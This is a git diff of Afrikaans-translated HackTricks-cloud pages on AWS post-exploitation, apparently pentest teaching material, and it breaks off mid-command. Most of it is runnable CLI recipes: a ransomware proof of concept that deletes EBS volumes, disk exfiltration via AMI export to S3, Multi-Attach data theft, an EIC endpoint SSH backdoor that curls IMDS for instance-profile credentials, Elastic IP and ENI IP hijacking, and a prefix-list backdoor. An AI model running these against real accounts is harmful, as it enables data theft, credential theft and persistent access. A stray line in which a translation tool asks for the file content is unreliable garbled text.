20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Dit lei tot slegs geënkripteerde EBS-volumes wat beskikbaar is in die rekening. +Dit lei daartoe dat slegs geënkripteerde EBS-volumes in die account beskikbaar oorbly. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Dit is ook die moeite werd om te noem dat die skrip die EC2-instanse gestop het om die oorspronklike EBS-volumes te ontkoppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg. +Verder die moeite werd om te noem, die script het die EC2 instances gestop om die oorspronklike EBS-volumes los te koppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buitelandse Enkripsie' beleidreël uit die sleutelbeleid. +Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. ```json { "Version": "2012-10-17", @@ -365,15 +430,15 @@ Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyde ] } ``` -Wag 'n oomblik vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg. +Wag 'n oomblik totdat die nuut ingestelde key policy gepropageer het. Keer dan terug na die 'victim' rekening en probeer om een van die nuut-geënkripteerde EBS-volumes aan te heg. Jy sal vind dat jy die volume kan aanheg. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutelde EBS volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir altyd, aangesien die aangehegte EBS volume nie ontsleut kan word met die sleutel nie, omdat die sleutelbeleid dit nie meer toelaat nie. +Maar wanneer jy probeer om die EC2-instance weer aan te skakel met die geënkripteerde EBS-volume, sal dit net misluk en van die 'pending' toestand terug na die 'stopped' toestand gaan en daar bly, omdat die aangehegte EBS-volume nie met die key gedekripteer kan word nie aangesien die key policy dit nie meer toelaat nie. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n 'slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening geheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL ALLE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snapshots herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is. +Dit is die Python-skrip wat gebruik is. Dit neem AWS creds vir 'n 'victim' rekening en 'n publiek beskikbare AWS ARN-waarde vir die key wat vir enkripsie gebruik sal word. Die skrip sal geënkripteerde kopieë maak van ALLE beskikbare EBS-volumes wat aan ALLE EC2-instances in die geteikende AWS-rekening aangeheg is, dan elke EC2-instance stop, die oorspronklike EBS-volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is verwyder. Dit sal slegs geënkripteerde EBS-volumes in die geteikende 'victim' rekening laat. GEBRUIK HIERDIE SKRIP SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS-VOLUMES VERWYDER. Jy kan dit herstel deur die gebruikte KMS key te gebruik en dit deur snapshots na hul oorspronklike staat te herstel, maar ek wil net hê jy moet bewus wees dat dit uiteindelik 'n ransomware PoC is. ``` import boto3 import argparse @@ -492,6 +557,6 @@ main() ``` ## Verwysings -- [Pentest Partners – Hoe om lêers in AWS te oordra met SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md new file mode 100644 index 000000000..d2ac95edb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md @@ -0,0 +1,137 @@ +# AWS – Stiekeme skyf-ekssfiltrasie via AMI Store-to-S3 (CreateStoreImageTask) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Opsomming +Misbruik EC2 AMI export-to-S3 om die volledige skyf van 'n EC2-instansie as 'n enkele rou beeld in S3 uit te voer, en laai dit daarna out-of-band af. Dit vermy snapshot-sharing en produseer een object per AMI. + +## Vereistes +- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` op die teiken-instansie/AMI +- S3 (dieselfde streek): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation` +- KMS ontsleutel op die sleutel wat die AMI-snapshots beskerm (indien EBS standaard-enkripsie aangeskakel is) +- S3 bucket policy wat die `vmie.amazonaws.com` service principal vertrou (sien hieronder) + +## Impak +- Volledige offline verkryging van die instansie-rootskyf in S3 sonder om snapshots te deel of oor rekeninge te kopieer. +- Laat stilswyende forensika toe op inlogbewyse, konfigurasie, en lêerstelselinhoud vanaf die uitgevoerde rou beeld. + +## Hoe om via AMI Store-to-S3 te ekssfiltreer + +- Notas: +- Die S3-bucket moet in dieselfde streek as die AMI wees. +- In `us-east-1`, `create-bucket` mag NIE `--create-bucket-configuration` insluit nie. +- `--no-reboot` skep 'n botsing-konsekwente beeld sonder om die instansie te stop (meer stiekem maar minder konsekwent). + +
+Stap-vir-stap opdragte +```bash +# Vars +REGION=us-east-1 +INSTANCE_ID= +BUCKET=exfil-ami-$(date +%s)-$RANDOM + +# 1) Create S3 bucket (same Region) +if [ "$REGION" = "us-east-1" ]; then +aws s3api create-bucket --bucket "$BUCKET" --region "$REGION" +else +aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION" +fi + +# 2) (Recommended) Bucket policy to allow VMIE service to write the object +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +cat > /tmp/bucket-policy.json < + +## Bewysvoorbeeld + +- `describe-store-image-tasks` oorgange: +```text +InProgress +Completed +``` +- S3 objek metadata (voorbeeld): +```json +{ +"AcceptRanges": "bytes", +"LastModified": "2025-10-08T01:31:46+00:00", +"ContentLength": 399768709, +"ETag": "\"c84d216455b3625866a58edf294168fd-24\"", +"ContentType": "application/octet-stream", +"ServerSideEncryption": "AES256", +"Metadata": { +"ami-name": "exfil-1759887010", +"ami-owner-account": "", +"ami-store-date": "2025-10-08T01:31:45Z" +} +} +``` +Gedeeltelike aflaai bewys objektoegang: +```bash +ls -l /tmp/ami.bin +# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin +``` +## Vereiste IAM-toestemmings + +- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks` +- S3 (on export bucket): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation` +- KMS: As AMI-snapshots versleuteld is, laat ontsleuteling toe vir die EBS KMS-sleutel wat deur snapshots gebruik word + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md new file mode 100644 index 000000000..1ea9c51d1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md @@ -0,0 +1,77 @@ +# AWS - Regstreekse data-diefstal via EBS Multi-Attach + +{{#include ../../../../banners/hacktricks-training.md}} + +## Opsomming +Gebruik EBS Multi-Attach om te lees vanaf 'n lewendige io1/io2 data volume deur dieselfde volume aan 'n aanvaller-beheerde instance in dieselfde Availability Zone (AZ) te koppel. Die gedeelde volume slegs leesbaar te mount gee onmiddellike toegang tot in-gebruik lêers sonder om snapshots te skep. + +## Vereistes +- Teiken volume: io1 of io2 geskep met `--multi-attach-enabled` in dieselfde AZ as die aanvaller-instance. +- Permissies: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` op die teiken volume/instances. +- Infrastruktuur: Nitro-gebaseerde instance-tipes wat Multi-Attach ondersteun (C5/M5/R5 families, ens.). + +## Aantekeninge +- Mount read-only met `-o ro,noload` om die risiko van korrupsie te verminder en journal replays te vermy. +- Op Nitro-instances openbaar die EBS NVMe-toestel 'n stabiele `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` pad (helper hieronder). + +## Berei 'n Multi-Attach io2 volume voor en koppel dit aan die slagoffer + +Voorbeeld (skep in `us-east-1a` en koppel aan die slagoffer): +```bash +AZ=us-east-1a +# Create io2 volume with Multi-Attach enabled +VOL_ID=$(aws ec2 create-volume \ +--size 10 \ +--volume-type io2 \ +--iops 1000 \ +--availability-zone $AZ \ +--multi-attach-enabled \ +--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \ +--query 'VolumeId' --output text) + +# Attach to victim instance +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf +``` +Op die slagoffer, format/mount die nuwe volume en skryf sensitiewe data (illustreerend): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkfs.ext4 -F "$DEV" +sudo mkdir -p /mnt/shared +sudo mount "$DEV" /mnt/shared +echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt +sudo sync +``` +## Koppel dieselfde volume aan die aanvaller-instansie +```bash +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf +``` +## Mount read-only op die aanvaller en lees data +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkdir -p /mnt/steal +sudo mount -o ro,noload "$DEV" /mnt/steal +sudo cat /mnt/steal/secret.txt +``` +Verwagte resultaat: Dieselfde `VOL_ID` toon meerdere `Attachments` (victim and attacker) en die attacker kan lêers lees wat deur die victim geskryf is sonder om enige snapshot te skep. +```bash +aws ec2 describe-volumes --volume-ids $VOL_ID \ +--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}' +``` +
+Hulp: vind die NVMe-toestelpad volgens Volume ID + +Op Nitro instances, gebruik die stabiele by-id path wat die volume id insluit (verwyder die streep na `vol`): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" +# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... +``` +
+ +## Impact +- Onmiddellike lees-toegang tot lewendige data op die teiken EBS-volume sonder om snapshots te genereer. +- Indien gemount read-write, kan die aanvaller die slagoffer se lêerstelsel manipuleer (risiko van korrupsie). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md new file mode 100644 index 000000000..1ecbe0f88 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md @@ -0,0 +1,113 @@ +# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection + +{{#include ../../../../banners/hacktricks-training.md}} + +Misbruik EC2 Instance Connect Endpoint (EIC Endpoint) om inkomende SSH-toegang tot private EC2-instanties (geen publieke IP/bastion) te verkry deur: +- Creating an EIC Endpoint inside the target subnet +- Allowing inbound SSH on the target SG from the EIC Endpoint SG +- Injecting a short‑lived SSH public key (valid ~60 seconds) with `ec2-instance-connect:SendSSHPublicKey` +- Opening an EIC tunnel and pivoting to the instance to steal instance profile credentials from IMDS + +Impak: sluipende afgeleë toegangspad na private EC2-instanties wat bastions en beperkings op publieke IP's omseil. Die aanvaller kan die instance profile aanneem en in die rekening opereer. + +## Vereistes +- Permissies vir: +- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress` +- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel` +- Teiken Linux-instantie met 'n SSH-bediener en EC2 Instance Connect aangeskakel (Amazon Linux 2 of Ubuntu 20.04+). Standaard gebruikers: `ec2-user` (AL2) of `ubuntu` (Ubuntu). + +## Veranderlikes +```bash +export REGION=us-east-1 +export INSTANCE_ID= +export SUBNET_ID= +export VPC_ID= +export TARGET_SG_ID= +export ENDPOINT_SG_ID= +# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu) +export OS_USER=ec2-user +``` +## Skep EIC Endpoint +```bash +aws ec2 create-instance-connect-endpoint \ +--subnet-id "$SUBNET_ID" \ +--security-group-ids "$ENDPOINT_SG_ID" \ +--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \ +--region "$REGION" \ +--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID + +# Wait until ready +while true; do +aws ec2 describe-instance-connect-endpoints \ +--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \ +--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE +grep -q 'create-complete' EIC_STATE && break +sleep 5 +done +``` +## Laat verkeer vanaf die EIC Endpoint na die teikeninstansie toe +```bash +aws ec2 authorize-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true +``` +## Injecteer efemêre SSH-sleutel en open 'n tonnel +```bash +# Generate throwaway key +ssh-keygen -t ed25519 -f /tmp/eic -N '' + +# Send short-lived SSH pubkey (valid ~60s) +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "$OS_USER" \ +--ssh-public-key file:///tmp/eic.pub \ +--region "$REGION" + +# Open a local tunnel to instance:22 via the EIC Endpoint +aws ec2-instance-connect open-tunnel \ +--instance-id "$INSTANCE_ID" \ +--instance-connect-endpoint-id "$(cat EIC_ID)" \ +--local-port 2222 --remote-port 22 --region "$REGION" & +TUN_PID=$!; sleep 2 + +# SSH via the tunnel (within the 60s window) +ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no +``` +## Post-exploitation bewys (steel instance profile credentials) +```bash +# From the shell inside the instance +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE) +``` +I don't have the file content. Please paste the markdown/HTML content of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md here so I can translate it to Afrikaans per your rules. +```json +{ +"Code": "Success", +"AccessKeyId": "ASIA...", +"SecretAccessKey": "w0G...", +"Token": "IQoJ...", +"Expiration": "2025-10-08T04:09:52Z" +} +``` +Gebruik die gesteelde creds plaaslik om identiteit te verifieer: +```bash +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity --region "$REGION" +# => arn:aws:sts:::assumed-role// +``` +## Opruiming +```bash +# Revoke SG ingress on the target +aws ec2 revoke-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true + +# Delete EIC Endpoint +aws ec2 delete-instance-connect-endpoint \ +--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION" +``` +> Aantekeninge +> - Die ingevoegde SSH-sleutel is slegs geldig vir ~60 sekondes; stuur die sleutel direk voordat jy die tonnel/SSH oopmaak. +> - `OS_USER` moet ooreenstem met die AMI (bv. `ubuntu` vir Ubuntu, `ec2-user` vir Amazon Linux 2). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md new file mode 100644 index 000000000..a034b85da --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md @@ -0,0 +1,52 @@ +# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Opsomming + +Misbruik `ec2:AssociateAddress` (en opsioneel `ec2:DisassociateAddress`) om 'n Elastic IP (EIP) van 'n slagoffer-instansie/ENI na 'n aanvaller-instansie/ENI te herassosieer. Dit herlei inkomende verkeer wat na die EIP gaan na die aanvaller en laat die aanvaller ook uitgaande verkeer met die allowlisted publieke IP uitgaan om eksterne vennoot-firewalls te omseil. + +## Vereistes +- Teiken EIP allocation ID in dieselfde rekening/VPC. +- Aanvaller-instansie/ENI wat jy beheer. +- Permissies: +- `ec2:DescribeAddresses` +- `ec2:AssociateAddress` op die EIP allocation-id en op die aanvaller-instansie/ENI +- `ec2:DisassociateAddress` (opsioneel). Let wel: `--allow-reassociation` sal outomaties van die vorige aansluiting afdissocieer. + +## Aanval + +Variables +```bash +REGION=us-east-1 +ATTACKER_INSTANCE= +VICTIM_INSTANCE= +``` +1) Ken die slagoffer se EIP toe of identifiseer dit (lab ken 'n nuwe een toe en heg dit aan die slagoffer) +```bash +ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text) +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION +EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text) +``` +2) Verifieer dat die EIP tans na die geteikende diens oplos (voorbeeld: kontroleer vir 'n banner) +```bash +curl -sS http://$EIP | grep -i victim +``` +3) Herassosieer die EIP aan die attacker (word outomaties van die victim losgekoppel) +```bash +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION +``` +4) Verifieer dat die EIP nou na die attacker service oplos. +```bash +sleep 5; curl -sS http://$EIP | grep -i attacker +``` +Bewys (verplaasde assosiasie): +```bash +aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \ +--query Addresses[0].AssociationId --output text +``` +## Impact +- Inbound impersonation: Alle verkeer na die hijacked EIP word na die attacker instance/ENI afgelewer. +- Outbound impersonation: Attacker kan verkeer inisieer wat blyk te kom van die allowlisted public IP (bruikbaar om partner/eksterne bron IP-filters te omseil). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md new file mode 100644 index 000000000..c3e6eb156 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md @@ -0,0 +1,50 @@ +# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass) + +{{#include ../../../../banners/hacktricks-training.md}} + +Misbruik `ec2:UnassignPrivateIpAddresses` en `ec2:AssignPrivateIpAddresses` om 'n slagoffer-ENI se sekondêre private IP te steel en dit na 'n aanvaller-ENI in dieselfde subnet/AZ te skuif. Baie interne dienste en security groups beheer toegang deur spesifieke private IP's. Deur daardie sekondêre adres te skuif, doen die aanvaller voor as die vertroude gasheer op L3 en kan hy toegang kry tot allowlisted services. + +Vereistes: +- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN. +- Beide ENIs moet in dieselfde subnet/AZ wees. Die teikenadres moet 'n sekondêre IP wees (primêre adres kan nie ontkoppel word nie). + +Veranderlikes: +- REGION=us-east-1 +- VICTIM_ENI= +- ATTACKER_ENI= +- PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP +- PROTECTED_HOST= + +Steps: +1) Kies 'n sekondêre IP van die slagoffer-ENI +```bash +aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP +export HIJACK_IP=$(cat HIJACK_IP) +``` +2) Verseker dat die beskermde gasheer slegs daardie IP toelaat (idempotent). As jy eerder SG-to-SG-reëls gebruik, slaan oor. +```bash +aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true +``` +3) Basislyn: vanaf attacker instance moet versoek na PROTECTED_HOST misluk sonder spoofed source (bv. oor SSM/SSH) +```bash +curl -sS --max-time 3 http://$PROTECTED_HOST || true +``` +4) Ontkoppel die sekondêre IP van die slagoffer ENI +```bash +aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +5) Ken dieselfde IP toe aan die attacker ENI (op AWS CLI v1 voeg `--allow-reassignment` by) +```bash +aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +6) Verifieer dat eienaarskap oorgeplaas is +```bash +aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP +``` +7) Vanaf die attacker instance, source-bind na die hijacked IP om die protected host te bereik (verseker dat die IP op die OS gekonfigureer is; indien nie, voeg dit by met `ip addr add $HIJACK_IP/ dev eth0`) +```bash +curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out +``` +## Impak +- Omseil IP allowlists en voordoen as vertroude hosts binne die VPC deur secondary private IPs tussen ENIs in dieselfde subnet/AZ te skuif. +- Bereik interne dienste wat toegang op grond van spesifieke source IPs beheer, wat lateral movement en data-toegang moontlik maak. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md new file mode 100644 index 000000000..baf06e177 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md @@ -0,0 +1,72 @@ +# AWS - Security Group Backdoor via Managed Prefix Lists + +{{#include ../../../../banners/hacktricks-training.md}} + +## Opsomming +Misbruik customer-managed Prefix Lists om 'n onopvallende toegangspad te skep. As 'n security group (SG) rule na 'n managed Prefix List verwys, kan enigiemand wat die bevoegdheid het om daardie lys te wysig stilweg attacker-controlled CIDRs byvoeg. Elke SG (en moontlik Network ACL of VPC endpoint) wat na die lys verwys, laat onmiddellik die nuwe reekse toe sonder enige sigbare SG-wysiging. + +## Impak +- Onmiddellike uitbreiding van toegelate IP-reekse vir alle SGs wat na die prefix list verwys, wat change controls omseil wat slegs SG-wysigings moniteer. +- Maak volhoubare ingress/egress backdoors moontlik: hou die malicious CIDR in die prefix list weggesteek terwyl die SG rule onveranderd voorkom. + +## Vereistes +- IAM permissions: +- `ec2:DescribeManagedPrefixLists` +- `ec2:GetManagedPrefixListEntries` +- `ec2:ModifyManagedPrefixList` +- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (om aangehegte SGs te identifiseer) +- Opsioneel: `ec2:CreateManagedPrefixList` as 'n nuwe een vir toetsing geskep word. +- Omgewing: Ten minste een SG rule wat na die teiken customer-managed Prefix List verwys. + +## Veranderlikes +```bash +REGION=us-east-1 +PREFIX_LIST_ID= +ENTRY_CIDR= +DESCRIPTION="Backdoor – allow attacker" +``` +## Aanvalsstappe + +1) **Enumereer kandidaat prefix lists en consumers** +```bash +aws ec2 describe-managed-prefix-lists \ +--region "$REGION" \ +--query 'PrefixLists[?OwnerId==``].[PrefixListId,PrefixListName,State,MaxEntries]' \ +--output table + +aws ec2 get-managed-prefix-list-entries \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--region "$REGION" \ +--query 'Entries[*].[Cidr,Description]' +``` +Gebruik `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` om te bevestig watter SG-reëls op die lys staatmaak. + +2) **Voeg attacker CIDR by die prefix list** +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \ +--region "$REGION" +``` +3) **Valideer propagasie na security groups** +```bash +aws ec2 describe-security-group-rules \ +--region "$REGION" \ +--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \ +--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \ +--output table +``` +Verkeer vanaf `$ENTRY_CIDR` word nou toegelaat waar na die prefix list verwys word (gewoonlik uitgaande reëls op egress proxies of inkomende reëls op gedeelde dienste). + +## Bewyse +- `get-managed-prefix-list-entries` wys die attacker CIDR en beskrywing. +- `describe-security-group-rules` wys nog steeds die oorspronklike SG-reël wat na die prefix list verwys (geen SG-wysiging aangeteken nie), tog slaag verkeer vanaf die nuwe CIDR. + +## Opruiming +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--remove-entries Cidr="$ENTRY_CIDR" \ +--region "$REGION" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md new file mode 100644 index 000000000..07387bc0a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md @@ -0,0 +1,68 @@ +# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints + +{{#include ../../../../banners/hacktricks-training.md}} + +## Opsomming + +Hierdie tegniek misbruik VPC Endpoints om exfiltration channels te skep vanaf subnets sonder Internet Gateways of NAT. Gateway endpoints (bv. S3) voeg prefix‑list routes by die subnet route tables; Interface endpoints (bv. execute-api, secretsmanager, ssm, ens.) skep bereikbare ENIs met private IPs wat deur security groups beskerm word. Met minimale VPC/EC2-permissies kan ’n aanvaller beheerde egress moontlik maak wat nie deur die openbare Internet gaan nie. + +> Prereqs: bestaande VPC en private subnets (geen IGW/NAT). Jy sal permissies nodig hê om VPC endpoints te skep en, vir Opsie B, ’n security group om aan die endpoint ENIs te koppel. + +## Opsie A – S3 Gateway VPC Endpoint + +**Veranderlikes** +- `REGION=us-east-1` +- `VPC_ID=` +- `RTB_IDS=` + +1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`: +```json +{ +"Version": "2012-10-17", +"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] +} +``` +2) Skep die S3 Gateway-eindpunt (voeg S3 prefix‑list-roete by die geselekteerde roete-tabelle): +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id 